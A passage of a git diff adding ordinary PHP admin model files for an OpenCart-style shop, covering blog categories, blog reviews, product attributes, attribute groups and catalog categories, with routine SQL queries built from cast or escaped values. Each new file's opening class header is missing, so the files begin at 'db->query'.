+ $level++;
+ }
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET `blog_category_id` = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$blog_category_id . "', `level` = '" . (int)$level . "'");
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_store SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_category_id=" . (int)$blog_category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_layout SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+ $this->cache->delete('blog_category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ return $blog_category_id;
+ }
+ public function editCategory($blog_category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW() WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_description SET blog_category_id = '" . (int)$blog_category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE path_id = '" . (int)$blog_category_id . "' ORDER BY level ASC");
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category_path['blog_category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+ $path = array();
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category_path['blog_category_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+ // Combine the paths with a new level
+ $level = 0;
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category_path['blog_category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ // Fix for records with no paths
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$blog_category_id . "', level = '" . (int)$level . "'");
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_store SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'blog_category_id=" . (int)$blog_category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_to_layout SET blog_category_id = '" . (int)$blog_category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editCategoryStatus($blog_category_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET status = '" . (int)$status . "', date_modified = NOW() WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+
+ $this->cache->delete('category');
+ }
+ public function deleteCategory($blog_category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_path WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_path WHERE path_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['blog_category_id']);
+ }
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ $this->cache->delete('blog_category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+ public function repairCategories($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category WHERE parent_id = '" . (int)$parent_id . "'");
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$category['blog_category_id'] . "'");
+ // Fix for records with no paths
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category['blog_category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+ $level++;
+ }
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "blog_category_path` SET blog_category_id = '" . (int)$category['blog_category_id'] . "', `path_id` = '" . (int)$category['blog_category_id'] . "', level = '" . (int)$level . "'");
+ $this->repairCategories($category['blog_category_id']);
+ }
+ }
+ public function getCategory($blog_category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "blog_category_path cp LEFT JOIN " . DB_PREFIX . "blog_category_description cd1 ON (cp.path_id = cd1.blog_category_id AND cp.blog_category_id != cp.path_id) WHERE cp.blog_category_id = c.blog_category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.blog_category_id) AS path FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd2 ON (c.blog_category_id = cd2.blog_category_id) WHERE c.blog_category_id = '" . (int)$blog_category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+ return $query->row;
+ }
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.blog_category_id AS blog_category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.noindex FROM " . DB_PREFIX . "blog_category_path cp LEFT JOIN " . DB_PREFIX . "blog_category c1 ON (cp.blog_category_id = c1.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category c2 ON (cp.path_id = c2.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_description cd1 ON (cp.path_id = cd1.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_description cd2 ON (cp.blog_category_id = cd2.blog_category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+ $sql .= " GROUP BY cp.blog_category_id";
+ $sort_data = array(
+ 'name',
+ 'sort_order',
+ 'noindex'
+ );
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+ $query = $this->db->query($sql);
+ return $query->rows;
+ }
+ public function getCategoryDescriptions($blog_category_id) {
+ $category_description_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_description WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+ return $category_description_data;
+ }
+ public function getCategoryStores($blog_category_id) {
+ $category_store_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_to_store WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+ return $category_store_data;
+ }
+
+ public function getCategorySeoUrls($blog_category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'blog_category_id=" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+ return $category_seo_url_data;
+ }
+ public function getCategoryLayouts($blog_category_id) {
+ $category_layout_data = array();
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category_to_layout WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+ return $category_layout_data;
+ }
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "blog_category");
+ return $query->row['total'];
+ }
+
+ public function getTotalCategoriesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "blog_category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+ return $query->row['total'];
+ }
+
+ public function getCategoriesByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "blog_category WHERE parent_id = c.blog_category_id) AS children FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd ON (c.blog_category_id = cd.blog_category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+ return $query->rows;
+ }
+
+ public function getAllCategories() {
+ $category_data = $this->cache->get('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'));
+ if (!$category_data || !is_array($category_data)) {
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "blog_category c LEFT JOIN " . DB_PREFIX . "blog_category_description cd ON (c.blog_category_id = cd.blog_category_id) LEFT JOIN " . DB_PREFIX . "blog_category_to_store c2s ON (c.blog_category_id = c2s.blog_category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+ $category_data = array();
+
+ foreach ($query->rows as $row) {
+ $category_data[$row['parent_id']][$row['blog_category_id']] = $row;
+ }
+ $this->cache->set('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'), $category_data);
+ }
+
+ return $category_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/blog/review.php b/public/admin/model/blog/review.php
new file mode 100644
index 0000000..0f3d268
--- /dev/null
+++ b/public/admin/model/blog/review.php
@@ -0,0 +1,119 @@
+db->query("INSERT INTO " . DB_PREFIX . "review_article SET author = '" . $this->db->escape($data['author']) . "', article_id = '" . (int)$data['article_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "'");
+
+ $review_article_id = $this->db->getLastId();
+
+ $this->cache->delete('article');
+
+ return $review_article_id;
+ }
+
+ public function editReview($review_article_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "review_article SET author = '" . $this->db->escape($data['author']) . "', article_id = '" . (int)$data['article_id'] . "', text = '" . $this->db->escape(strip_tags($data['text'])) . "', rating = '" . (int)$data['rating'] . "', status = '" . (int)$data['status'] . "', date_added = '" . $this->db->escape($data['date_added']) . "', date_modified = NOW() WHERE review_article_id = '" . (int)$review_article_id . "'");
+
+ $this->cache->delete('article');
+ }
+
+ public function deleteReview($review_article_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review_article WHERE review_article_id = '" . (int)$review_article_id . "'");
+
+ $this->cache->delete('article');
+ }
+
+ public function getReview($review_article_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT pd.name FROM " . DB_PREFIX . "article_description pd WHERE pd.article_id = r.article_id AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS article FROM " . DB_PREFIX . "review_article r WHERE r.review_article_id = '" . (int)$review_article_id . "'");
+
+ return $query->row;
+ }
+
+ public function getReviews($data = array()) {
+ $sql = "SELECT r.review_article_id, pd.name, r.author, r.rating, r.status, r.date_added FROM " . DB_PREFIX . "review_article r LEFT JOIN " . DB_PREFIX . "article_description pd ON (r.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_article'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_article']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $sort_data = array(
+ 'pd.name',
+ 'r.author',
+ 'r.rating',
+ 'r.status',
+ 'r.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY r.date_added";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getTotalReviews($data = array()) {
+ $sql = "SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review_article r LEFT JOIN " . DB_PREFIX . "article_description pd ON (r.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_article'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_article']) . "%'";
+ }
+
+ if (!empty($data['filter_author'])) {
+ $sql .= " AND r.author LIKE '" . $this->db->escape($data['filter_author']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && $data['filter_status'] !== '') {
+ $sql .= " AND r.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (!empty($data['filter_date_added'])) {
+ $sql .= " AND DATE(r.date_added) = DATE('" . $this->db->escape($data['filter_date_added']) . "')";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalReviewsAwaitingApproval() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "review_article WHERE status = '0'");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/attribute.php b/public/admin/model/catalog/attribute.php
new file mode 100644
index 0000000..a4a35c6
--- /dev/null
+++ b/public/admin/model/catalog/attribute.php
@@ -0,0 +1,105 @@
+db->query("INSERT INTO " . DB_PREFIX . "attribute SET attribute_group_id = '" . (int)$data['attribute_group_id'] . "', sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $attribute_id = $this->db->getLastId();
+
+ foreach ($data['attribute_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $attribute_id;
+ }
+
+ public function editAttribute($attribute_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "attribute SET attribute_group_id = '" . (int)$data['attribute_group_id'] . "', sort_order = '" . (int)$data['sort_order'] . "' WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ foreach ($data['attribute_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_description SET attribute_id = '" . (int)$attribute_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteAttribute($attribute_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute WHERE attribute_id = '" . (int)$attribute_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+ }
+
+ public function getAttribute($attribute_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute a LEFT JOIN " . DB_PREFIX . "attribute_description ad ON (a.attribute_id = ad.attribute_id) WHERE a.attribute_id = '" . (int)$attribute_id . "' AND ad.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getAttributes($data = array()) {
+ $sql = "SELECT *, (SELECT agd.name FROM " . DB_PREFIX . "attribute_group_description agd WHERE agd.attribute_group_id = a.attribute_group_id AND agd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS attribute_group FROM " . DB_PREFIX . "attribute a LEFT JOIN " . DB_PREFIX . "attribute_description ad ON (a.attribute_id = ad.attribute_id) WHERE ad.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND ad.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (!empty($data['filter_attribute_group_id'])) {
+ $sql .= " AND a.attribute_group_id = '" . $this->db->escape($data['filter_attribute_group_id']) . "'";
+ }
+
+ $sort_data = array(
+ 'ad.name',
+ 'attribute_group',
+ 'a.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY attribute_group, ad.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAttributeDescriptions($attribute_id) {
+ $attribute_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_description WHERE attribute_id = '" . (int)$attribute_id . "'");
+
+ foreach ($query->rows as $result) {
+ $attribute_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $attribute_data;
+ }
+
+ public function getTotalAttributes() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalAttributesByAttributeGroupId($attribute_group_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/attribute_group.php b/public/admin/model/catalog/attribute_group.php
new file mode 100644
index 0000000..12a5591
--- /dev/null
+++ b/public/admin/model/catalog/attribute_group.php
@@ -0,0 +1,90 @@
+db->query("INSERT INTO " . DB_PREFIX . "attribute_group SET sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $attribute_group_id = $this->db->getLastId();
+
+ foreach ($data['attribute_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $attribute_group_id;
+ }
+
+ public function editAttributeGroup($attribute_group_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "attribute_group SET sort_order = '" . (int)$data['sort_order'] . "' WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ foreach ($data['attribute_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "attribute_group_description SET attribute_group_id = '" . (int)$attribute_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteAttributeGroup($attribute_group_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+ }
+
+ public function getAttributeGroup($attribute_group_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ return $query->row;
+ }
+
+ public function getAttributeGroups($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "attribute_group ag LEFT JOIN " . DB_PREFIX . "attribute_group_description agd ON (ag.attribute_group_id = agd.attribute_group_id) WHERE agd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'agd.name',
+ 'ag.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY agd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getAttributeGroupDescriptions($attribute_group_id) {
+ $attribute_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "attribute_group_description WHERE attribute_group_id = '" . (int)$attribute_group_id . "'");
+
+ foreach ($query->rows as $result) {
+ $attribute_group_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $attribute_group_data;
+ }
+
+ public function getTotalAttributeGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "attribute_group");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/category.php b/public/admin/model/catalog/category.php
new file mode 100644
index 0000000..4823efa
--- /dev/null
+++ b/public/admin/model/catalog/category.php
@@ -0,0 +1,486 @@
+db->query("INSERT INTO " . DB_PREFIX . "category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW(), date_added = NOW()");
+
+ $category_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET `category_id` = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', `level` = '" . (int)$level . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
